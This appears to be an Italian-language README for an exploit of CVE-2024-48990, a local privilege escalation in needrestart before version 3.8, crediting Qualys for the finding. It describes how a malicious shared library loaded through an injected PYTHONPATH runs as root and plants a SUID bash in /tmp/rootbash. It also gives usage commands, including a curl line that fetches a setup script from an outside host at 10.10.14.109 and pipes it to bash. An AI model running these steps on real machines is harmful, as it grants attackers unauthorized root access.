CVE-2024-48990 Exploit

Escalation locale dei privilegi in needrestart < 3.8 tramite iniezione di PYTHONPATH.

Come Funziona

1. needrestart viene eseguito come root e scansiona tutti i processi
2. Trova il nostro processo Python, legge PYTHONPATH=/tmp/.m da /proc/[pid]/environ
3. Esegue Python come root con il nostro PYTHONPATH dannoso
4. L'import di Python carica /tmp/.m/importlib/__init__.so (la nostra libreria dannosa)
5. Il costruttore nel .so viene eseguito come root prima ancora che Python parta
6. Crea una bash SUID in /tmp/rootbash
7. Esegui /tmp/rootbash -p per una shell root

Punto chiave: needrestart si fida delle variabili d'ambiente provenienti da processi non privilegiati e le usa quando esegue gli interpreti come root.

Utilizzo

Attaccante:

./compile.sh
python3 -m http.server 8000

Bersaglio:

curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py

Il processo e.py dovrebbe restare in attesa e avviare una root una volta eseguito quanto segue da un secondo terminale:

sudo needsrestard

il primo terminale avvierà una shell root

Crediti

Qualys Threat Research Unit - CVE-2024-48990